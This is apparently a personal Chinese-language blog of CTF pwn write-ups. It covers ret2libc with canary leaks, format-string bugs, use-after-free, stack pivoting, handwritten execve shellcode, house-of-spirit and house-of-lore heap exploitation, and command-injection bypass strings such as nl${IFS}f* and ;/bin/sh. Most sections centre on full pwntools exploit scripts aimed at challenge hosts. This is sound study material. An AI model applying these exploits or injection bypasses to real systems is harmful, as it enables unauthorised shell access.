• 现在开始还是专心打pwn,等进度赶过来的时候再打打其他方向。
  • 已经认清自己了,以目前半吊子的知识储备无法分心学其他方向QAQ,而且打比赛其他方向也有队友了,所以其他方向不急着学。

NSSCTF

题目1_littleof

  • 考点:ret2libcCanary绕过

  • 先查看一下保护机制,发现开了Canary

image-20241129235605399

  • 然后再反编译查看一下程序运行的逻辑。运行逻辑主要就是在下图的函数中。
  • 这边还有俩个溢出点,但是由于有Canary,所以第一个溢出点是泄露Canary的值,然后第二个才是真正的进行溢出构造ROP链
  • 这边还需要注意一下接收,因为%s除了格式化输出Canary的值,还输出了rbp栈地址的值

image-20241129235724940

image-20241129235747714

  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(log_level = 'debug')
p = remote('node4.anna.nssctf.cn',28938)
#p = process('./littleof')
#gdb.attach(p)
#p.send(b'a')
payload = b'a'*0x49
p.sendafter(b'Do you know how to do buffer overflow?\n',payload)
#p.send(b'a')
canary = p.recv()
canary = b'\x00' + canary[0x49:0x50]
print(canary)
canary = int.from_bytes(canary,'little')
print(hex(canary))
pop_rdi = 0x400863
puts_got = 0x601018
puts_plt = 0x4005B0
ret = 0x40059e
fun = 0x4006E2
payload1 = b'a'*0x48 + p64(canary) + b'a'*0x8 + p64(pop_rdi)
payload1 += p64(puts_got) + p64(puts_plt) + p64(fun)
p.sendline(payload1)
p.recvline()
puts_addr = p.recvline()[:-1]
print('------>',puts_addr)
puts_addr = int.from_bytes(puts_addr,'little')
libc_addr = puts_addr - 0x80aa0
sh_addr = libc_addr + 0x1b3e1a
sys_addr = libc_addr + 0x4f550
p.sendline(b'a')
payload2 = b'a'*0x48 + p64(canary) + b'a'*0x8
payload2 += p64(pop_rdi) + p64(sh_addr) + p64(ret) + p64(sys_addr)
p.sendline(payload2)
p.interactive()

题目2_find_flag

  • 考点:格式化字符串漏洞

  • 简单的字符串格式化的题目

  • 先查看一下保护机制,发现全部保护都开起来了

image-20241130003326676

  • 再查看一下反编译后的程序代码,查看程序运行的逻辑,主要问题出现在这里,思路就是先泄露栈上的Canary值和ret的地址,然后计算程序的地址,然后再进行栈溢出。

image-20241130003409125

  • 这里发现了后门函数

image-20241130003600388

  • 由于本地和靶机的字符串格式化偏移不一样,直接打远程,不要动态调试。
  • exp如下:
  • 先通过爆破发现,%17$p是泄露Canary的值和%19$p泄露程序返回地址的值
1
2
3
4
5
6
7
8
from pwn import *
context(log_level='debug')
for i in range(100):
p = remote('node4.anna.nssctf.cn',28422)
payload = b'%' + str(i).encode('utf-8') + b'$p'
p.sendlineafter(b'Hi! What\'s your name?',payload)
p.interactive()
p.close()
  • 之后再写exp打:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(log_level='debug')
p = remote('node4.anna.nssctf.cn',28467)
payload = b'%17$p' + b'-----' + b'%19$p'
p.sendlineafter(b'Hi! What\'s your name?',payload)
leak = p.recvline()
print(leak)
canary = leak[19:37]
addr = leak[42:-2]
print('canary---->',canary)
print('addr----->',addr)
canary = int(canary.decode('utf-8'),16)
addr = int(addr.decode('utf-8'),16)
addr = addr - 0x146F
catflag = addr + 0x1231
print('canary:',hex(canary))
payload = b'a'*0x38 + p64(canary) + b'a'*0x8 + p64(catflag)
p.sendline(payload)
p.interactive()

题目3_singout

  • 考点:RCELinux命令绕过

  • 这题没给附件,主要考虑的就是命令绕过(感觉主要靠的是web),没啥命令绕过的经验

  • 直接看wp,wp说可以使用

1
2
3
4
nl${IFS}f*
nl$IFS$9f*
tail ./*
tail$IFS$9./f*
  • 这边理解一下命令的意思:

nl是Linux系统的命令,用于给每个文件编号

IFS中,IFSshell特殊环境变量,代表内部字段分隔符这里表示空格。这边使用{IFS}中,IFS是shell特殊环境变量,代表**内部字段分隔符**这里表示空格。这边使用{IFS}的作用就是充当空格,因为空格可能也被禁用了

f*表示的是当前目录下所有以f开头的文件

执行该命令的就相当于执行nl f*

nl 命令会逐行读取文件的内容,并为每一行添加行号。

  • 这里我在本地实验一下:
    • 它会读取文件里面的内容。
    • 逐行标上行号之后就会逐行输出。

image-20241130142130803

题目4_shellcode?

  • 先查看保护机制发现只有Canary没开,其他都开了

image-20241130142520377

  • 查看反编译的代码,这边应该就是简单的写一个shellcode

image-20241130142549923

  • 直接开写,虽然python有自动生成工具,但是因为是练习,所以尝试自己多写一点简单shellcode,之后要碰到要自己写的就不会太牢
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch='amd64')
p = remote('node5.anna.nssctf.cn',23069)
a = asm("""
mov rax,59
mov rbx,0x0068732f6e69622f
push rbx
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
syscall
""")
p.sendline(a)
p.interactive()

题目5_[HUBUCTF 2022 新生赛]fmt

  • 考点:格式化字符串漏洞

  • 这题还以为是劫持got表,结果是就是格式化字符串的简单运用

  • 直接查看附件,发现格式化字符串直接泄露栈上的值就行。

image-20241130144139944

  • 直接爆破flag所在的栈:
1
2
3
4
5
6
7
from pwn import *
p = remote('node5.anna.nssctf.cn',29340)
for i in range(100):
p.recvline()
p.sendline(b'%'+str(i).encode('utf-8')+b'$p')
a = p.recvline()
print(a)
  • 爆破出来后直接脚本一把梭:
1
2
3
4
5
6
7
a = [0x657b46544353534e,0x2d35633332386366,0x3837342d33653834,0x392d303432612d66,0x3331326130306634,0xa7d393636]
for i in range(len(a)):
print(libnum.n2s(a[i]))

b = ['e{FTCSSN','-5c328cf','874-3e84','9-042a-f','312a00f4','\n}966']
for i in range(len(b)):
print(b[i][-1::-1],end='')

题目6_[NISACTF 2022]UAF

  • 考点:UAFfastbin_UAF

  • 今天来打一题堆题,题目已经表明了是UAF漏洞,所以直接来分析程序。先来check一下程序。发现是32位的程序,没有开PIE随机地址偏移。

image-20250115103509325

  • 然后使用IDA分析该程序,发现是一个经典的堆菜单题目,然后使用scanf函数输入我们要选择的菜单选项。

image-20250115103618336

image-20250115103653093

  • 接下来先查看create()函数,在这边有两个在.bss段上的全局变量ipage
    • 该程序先输入我们申请page的索引,然后对这个索引进行检查,当i在0到9之间就会先创建一个堆块,并将堆块的地址存储在page这个指针数组这边
    • 然后对i进行检查如果i大于9就没有PAGE分配给新申请的堆块,如果还有空间i就会自增1
    • i=0的时候会先初始化page即在该堆块里面前4字节存储着一串数字,后4字节存储着函数指针,用于输出功能。

image-20250115104133066

  • 通过查看.bss段我们可以确定i是一个int类型的变量占4字节,而page很明显是一个指针数组,该数组定义了10个指针变量

image-20250115105250344

  • 接下来我们再来查看,edit()这部分函数执行什么
    • 首先是输入我们要修改的堆块索引
    • 然后使用scanf向该堆块输入内容,但是这里好像存在溢出

image-20250115105436837

  • 之后再来查看del()这个函数的功能,该函数的功能就是free我们指定的堆块,但是这边存在一个UAF的漏洞,所以我们可能可以利用这个漏洞。

image-20250115105558291

  • 之后再来查看show这个函数的功能,是输出我们所选择的堆块,但是这里要注意一下,就是当我们要输入page[0]的时候,程序会调用这个函数指针,即该函数指针存放在page[1]这个位置,然后去输出page[0]的内容。

image-20250115105648696

  • 我们还发现了一个后门函数

image-20250115110030686

  • 所以思路如下:

    • 通过UAF漏洞修改函数指针为后门函数,然后再修改向page[0][0]中写入/bin/sh\x00或者/sh\x00\x00
    • 这样我们就劫持了程序的控制流到后门函数,就可以成功执行system("/bin/sh")
  • 接下来使用动态调试查看堆块的具体运行情况

  • 首选我们发现第一次是堆块的初始化

image-20250115111627174

  • 所以我要利用UAF漏洞,将该对page[0]这里面的内容进行修改从而执行程序控制流,接下来进行堆的布局。首先我们要先初始化一个page,为了防止堆块的合并,我们还要再申请一个堆块。之后先释放page[0]所指向的堆块,再创建一个新的堆块就可以把page[0]的堆块给申请到page[2]这边,这样我们就可以调用edit函数对这个堆块进行修改了。

  • exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context(log_level='debug')
p = remote('node4.anna.nssctf.cn',28471)
def create():
p.sendlineafter(b':',b'1')

def edit(page,string):
p.sendlineafter(b':',b'2')
p.sendlineafter(b'Input page\n',str(page).encode('utf-8'))
p.sendlineafter(b'Input your strings\n',string)

def delete(page):
p.sendlineafter(b':',b'3')
p.sendlineafter(b'Input page\n',str(page).encode('utf-8'))

def show(page):
p.sendlineafter(b':',b'4')
p.sendlineafter(b'Input page\n',str(page).encode('utf-8'))

pause()
create()
create()
delete(0)
create()
payload = b'\sh\x00' + p32(0x8048642)
edit(2,payload)
show(0)
p.interactive()

题目7_[HNCTF 2022 Week1]ezcmp

  • 考点:gdb动态调试

  • 该题比较简单,不仅给了附件,还给了源码。这边直接查看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include<stdio.h>
char buff[100];
int v0;
char buffff[]="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234";
char bua[]="abcdefghijklmnopqrstuvwxyz4321";
char* enccrypt(char *buf){
int a;
for(int i=0;i<29;i++){
a=rand();
buf[i]^=buffff[i];
buff[i]^=bua[i];
for(int j=29;j>=0;j--){
buf[j]=buff[i];
buf[i]+='2';
}
buf[i]-=((bua[i]^0x30)*(buffff[i]>>2)&1)&0xff;
buf[i]+=(a%buff[i])&0xff;
}
}
int main(){
setbuf(stdin,0);
setbuf(stderr,0);
setbuf(stdout,0);
puts("GDB-pwndbg maybe useful");
char buf[]="Ayaka_nbbbbbbbbbbbbbbbbb_pluss";
strcpy(buff,buf);
char test[30];
int v0=1;
srand(v0);
enccrypt(buff);
read(0,test,30);
if(!strncmp(buff,test,30)){
system("/bin/sh");
}
else {
puts("Oh No!You lose!!!");
exit(0);
}
return;

}
  • 该题程序就是将Ayaka_nbbbbbbbbbbbbbbbbb_pluss这个字符串进行加密,让我们输入数据,然后与加密过后的数据进行比较,如果与加密后的结果一致,那么就可以getshell,这里先使用IDA逆向一下该二进制程序,找到main函数中call read的地址。以及找到全局变量buff的地址。

image-20250116112840731

image-20250116112950344

  • 然后使用gdb动态调试,在call read这个位置去设置断点,设置完断点后使用c命令

image-20250116113100715

  • 这时我们再查看全局变量buff里面的值,这样我们就可以看到加密后的数据了

image-20250116113225888

  • 这样我们就可以编写exp:
1
2
3
4
5
6
from pwn import *
p = remote('node5.anna.nssctf.cn',27273)
payload = p64(0x144678aadc0e4072) + p64(0x84b6e81a4c7eb0e2)
payload+= p64(0xf426588abcee2052) + p64(0xc8cb2c5e90c2)
p.send(payload)
p.interactive()

image-20250116113535351

题目8_[HDCTF 2023]KEEP ON

  • 考点:栈迁移

  • 拿到附件先查看一下保护机制,发现保护机制没有开Canary和PIE

image-20250118093552741

  • 然后使用IDA反编译查看代码,先来查看main函数,发现main函数只有一个输出,和初始化,比较重要的在vuln这个函数中

image-20250118093641878

  • 接下来直接查看vuln这个函数
    • 发现有两个read()函数,其中第二个read函数存在溢出,可以溢出0x10个字节。
    • 然后printf(s)这边还存在字符串格式化漏洞

image-20250118093735268

  • 由于可以溢出的空间太小了,所以查看汇编代码,看看是否有leave ret这个汇编语句。发现有leaveret这个汇编语句,这样我们就可以进行栈迁移操作。

image-20250118094039753

  • 思路就是:先利用字符串格式化漏洞泄露栈地址,并计算偏移,这样在第二次输入时,在没溢出之前就可以构造rop链,使用栈迁移,将rsp指针回到保存s的变量中,这样我们就可以成功构造rop链。

  • exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(log_level='debug')
#p = remote('node4.anna.nssctf.cn',28694)
p = process('./hdctf')
#gdb.attach(p)
#pause()
payload = b'%16$p'
p.sendlineafter(b'name: \n',payload)
stack = p.recvline()[6:-1]
stack = int(stack,16)
print('stack---->',hex(stack))
stack = stack - 0x60
leave = 0x4007F2
pop_rdi =0x4008d3
sys_addr = 0x40085D
ret = 0x400864
payload1 = p64(stack)+p64(pop_rdi)+p64(stack+0x20)+p64(sys_addr)
payload1 += b'/bin/sh\x00'+b'a'*0x28
payload1 += p64(stack)+p64(leave)
p.sendlineafter(b'keep on !\n',payload1)
p.interactive()

BUUCTF

第一页

第二页

题目1_ez_pz_hackover_2016

  • 考点:栈溢出shellcode

  • 先查看一下保护机制,保护机制,发现是32位的程序,并且很多保护机制都没有开。

image-20250219131730677

  • 之后使用IDA pro反编译一下该程序,发现程序会先进行输入输出初始化
  • 之后就调用两个函数

image-20250219132048373

  • 接下来就查看header()这个函数,发现这个函数没有任何漏洞点

image-20250219132716148

  • 再看一下chall(),这个函数主要执行的操作为
    • 题目先会泄露出s这个数组的地址,即栈上的地址
    • s输入内容这个地方不存在栈溢出
    • 并且v3这边会查找\n,然后会将\n\x00
    • 之后会将数组scrashme进行比较如果两个字符串相等,那么就可以执行vuln这个函数。

image-20250219132830410

  • 接下来查看vuln这个函数
    • 这个函数会复制0x400字节到dest这个数组中,这个复制的值是从&src注意是保存src地址的栈开始,这边存在栈溢出

image-20250219174305847

  • 接下来就是栈溢出的利用了。由于栈可执行,直接往栈上写shellcode然后执行即可
  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
#p = process("./ez_pz_hackover_2016")
p = remote('node5.buuoj.cn',27130)
p.recvuntil('crash: ')
#gdb.attach(p)
stack_addr = p.recvline()[:-1]
print(stack_addr)
stack_addr = int(stack_addr.decode(),16)
a = asm(shellcraft.sh())
print('a--->',len(a))
payload = b'crashme\x00' + cyclic(0x12)
payload += p32(stack_addr-0x1c)+a
p.sendline(payload)
p.interactive()

题目2_jarvisoj_level3_x64

  • 考点ret2libc这边就不多介绍了,简单栈溢出的ret2libc应用

  • 漏洞点就在这里:

image-20250219220242286

  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
#p = process('./level3_x64')
p = remote('node5.buuoj.cn',26355)
pop_rdi = 0x4006b3
pop_rsi = 0x4006b1
write_addr = 0x4004B0
write_got = 0x600A58
#gdb.attach(p)
payload = b'a'*0x88+p64(pop_rdi)+p64(1)
payload += p64(pop_rsi)+p64(write_got)+p64(0)+p64(write_addr)+p64(0x4005E6)
pause()
p.sendline(payload)
p.recvline()
write = p.recv()[0:6]
print('write_addr-->',write)
write = int.from_bytes(write,'little')
libc_addr = write - 0xF72B0
sh_addr = libc_addr + 0x18CD57
sys_addr = libc_addr + 0x45390
payload = b'a'*0x88+p64(pop_rdi)+p64(sh_addr)+p64(sys_addr)
p.sendline(payload)
p.interactive()

题目3_mrctf2020_shellcode

  • 考点ret2shellcode

  • 简单的ret2shellcode,附件都不用看直接打,模版题。

1
2
3
4
5
6
7
from pwn import *
context.arch='amd64'
p = process('./mrctf2020_shellcode')
p = remote('node5.buuoj.cn',27597)
payload = asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

题目4_bjdctf_2020_babyrop2

  • 考点:ret2libc格式化字符串漏洞canary保护
  • 查看一下该附件的保护机制

image-20250220104016791

  • 开了Canary,程序中有格式化字符串漏洞,先要利用该漏洞就可以泄露canary

image-20250220104831301

  • 现在就可以直接ret2libc

image-20250220104852523

  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
p = process("./bjdctf_2020_babyrop2")
#gdb.attach(p)
p = remote('node5.buuoj.cn',28015)
p.sendline(b'%7$p')
canary = p.recvuntil(b'I\'ll give u some gift to help u!\n')
canary = p.recvline()[:-1]
print('canary-->',canary)
canary = int(canary.decode(),16)
pop_rdi=0x400993
puts_got = 0x601018
puts_plt = 0x400610
payload = b'a'*0x18+p64(canary)+b'a'*0x8+p64(pop_rdi)
payload += p64(puts_got)+p64(puts_plt)+p64(0x400887)
p.sendline(payload)
p.recvuntil(b'Pull up your sword and tell me u story!\n')
puts_addr = p.recvline()[:-1]
puts_addr = int.from_bytes(puts_addr,'little')
libc_addr = puts_addr - 0x6F690
sys_addr = libc_addr + 0x45390
sh_addr = libc_addr + 0x18CD57
print('puts_addr--->',puts_addr)
payload = b'a'*0x18+p64(canary)+b'a'*0x8+p64(pop_rdi)
payload += p64(sh_addr)+p64(sys_addr)
p.sendline(payload)
p.interactive()

题目5_babyheap_0ctf_2017

  • 考点:

题目6_bjdctf_2020_router

  • 考点:命令执行

  • 这题的考点其实算是web的,其实学到后面就感觉webpwn有点不分家,在网络攻防都是占很大一块。

  • 我们直接就查看附件,发现选项1会执行命令,并且0x20676E6970就是ping的小端序

image-20250303120541620

  • 这时我们就可以使用;进行命令绕过,直接选择选项1然后执行命令;/bin/sh即可getshell

image-20250303120704485

第三页

第四页

题目13_ciscn_2019_sw_1

  • 考点:只能一次格式化字符串
  • 这题之后再来归纳一下格式化字符串漏洞,这题再细讲
  • 这边也直接贴出exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.arch = 'i386'
p = remote('node5.buuoj.cn',25550)
#p = process('./ciscn_2019_sw_1')
#gdb.attach(p)
pause()
fini_addr = 0x804979C
main_addr = 0x8048534
sys_addr = 0x80483D0
printf_got = 0x804989C
# 0x8534
# 0x804 0x83D0
payload = b'%'+ str(0x83d0).encode('utf-8') + b'c%14$hn'
payload += b'%'+ str(0x8534-0x83D0).encode('utf-8')+b'c%15$hn'
payload += b'%'+ str(0x82D0).encode('utf-8')+b'c%16$hnaaa'
payload += p32(printf_got)+p32(fini_addr)+p32(printf_got+2)
#payload+= b'%'+str(0x804).encode('utf-8')+b'c%14$hnaaaaaaa'
#payload+= p32(fini_addr)+p32(fini_addr+2)
#payload= fmtstr_payload(4,{printf_got : sys_addr})
#payload += b'%' + str(0x8534).encode('utf-8') +
print('len--->',len(payload))
p.sendline(payload)
#payload = fmtstr_payload(4,{})
p.sendline(b'/bin/sh\x00')
p.interactive()

题目14_lctf2016_pwn200

  • 考点:house_of_sprirt
  • 这题在house_of_sprirt这边有详细解答,这边就直接给exp。
  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(arch='amd64',log_level='debug')
p = process("./pwn200")
#p = remote(b'node5.buuoj.cn',25055)
gdb.attach(p,"b *0x400B1F\n b *0x400824\nb *0x400A5F\n b *0x40092C")
payload = b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaa'
pause()
p.sendafter(b'who are u?\n',payload)
p.recvuntil(b'faaaaaaa')
stack_addr = p.recvline()
print(stack_addr)
stack_addr=stack_addr[:6]
print('stack_addr------->',stack_addr)
stack_addr=int.from_bytes(stack_addr,'little')
ptr = stack_addr-0xf0+0x40
payload1 = b'48'
p.sendlineafter(b'give me your id ~~?\n',payload1)
# payload2构造fake_chunk
payload2 = p64(0x0)+p64(0x61)+b'a'*0x28+p64(ptr)
#payload2 = b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaa'#aaaahaaaaaaa'
p.sendafter(b'give me money~\n',payload2)
payload3 = b'2'
p.sendlineafter(b'your choice :',payload3)
payload4 = b'1'
p.sendlineafter(b'your choice :',payload4)
payload5 = b'80'
p.sendlineafter(b'how long?\n',payload5)
a = asm("""
mov rbx,0x0068732f6e69622f
push rbx
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,59
syscall
""")
sh = a
print("-------->",len(sh))
payload6 = sh +b'a'*3 + b'a'*0x18 + p64(ptr)
p.sendlineafter(b'give me more money :',payload6)
payload = b'3'
p.sendlineafter(b'your choice :',payload)
p.interactive()

题目29_houseoforange_hitcon_2016

  • 考点:house of orange

  • 这题也在house_of_orange中有具体分析,这边也直接贴出exp

  • exp如下:

第五页

题目28_[OGeek2019 Final]OVM

CTFshow

CTFHub

题目1_house_of_lore

  • 详解在相应的博客中,这里就贴个exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
context.log_level='debug'
context.terminal = ["tmux", "neww"]
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process("./pwn")

def add(size):
p.sendline(b'1')
p.sendafter(b'size:\n',str(size).encode('utf-8'))

def dele(idx):
p.sendline(b'3')
p.send(str(idx).encode('utf-8'))

def edit(idx,context):
p.sendline(b'2')
p.sendline(str(idx).encode('utf-8'))
p.send(context)

def change_name(name):
p.sendline(b'4')
p.send(name)

def change_mesg(size,new_mesg,mesg):
p.sendline(b'5')
p.recvuntil(b'saved at ')
a = p.recvline()[:-1]
print('leak--->',a)
heap_addr = int(a,16)
payload = p64(heap_addr+0xb0+0xd0)
mesg = payload + mesg
print('---->',hex(heap_addr))
p.send(str(size).encode('utf-8'))
p.send(new_mesg)
p.send(mesg)
return a

payload1 = b'a'
p.sendlineafter(b'writer:\n',payload1)
payload2 = b'a'
p.sendlineafter(b'book?\n',payload2)
add(0xC8)

payload = p64(0x6020A0-0x10)
heap_addr = change_mesg(200,b'11',payload)
heap_addr = int(heap_addr,16)
print('---->',hex(heap_addr))

payload = p64(heap_addr-0x10)+p64(0x6020A0+0x8)
payload +=p64(0)+p64(0x6020A0-0x10)
change_name(payload)
add(0xb0)
add(0xb0)

free_got = 0x602018
puts_got = 0x602020
atoi_got = 0x602060
payload = b'a'*0x40+p64(heap_addr+0xb0+0xc0+0xd0)
payload+=b'a'*0x18+p64(free_got)+p64(puts_got)
payload+=p64(atoi_got)

edit(2,payload)
edit(0,p64(0x4006A0))
dele(1)
p.recvuntil(b'delete?\n')
puts_addr = p.recvline()[:-1]
print('puts_addr--->',puts_addr)
puts_addr = int.from_bytes(puts_addr,'little')
libc_addr = puts_addr - libc.symbols['puts']
system_addr = libc_addr + libc.symbols['system']

edit(2,p64(system_addr))
p.send(b'/bin/sh\x00')
p.interactive()

其他

chrome v8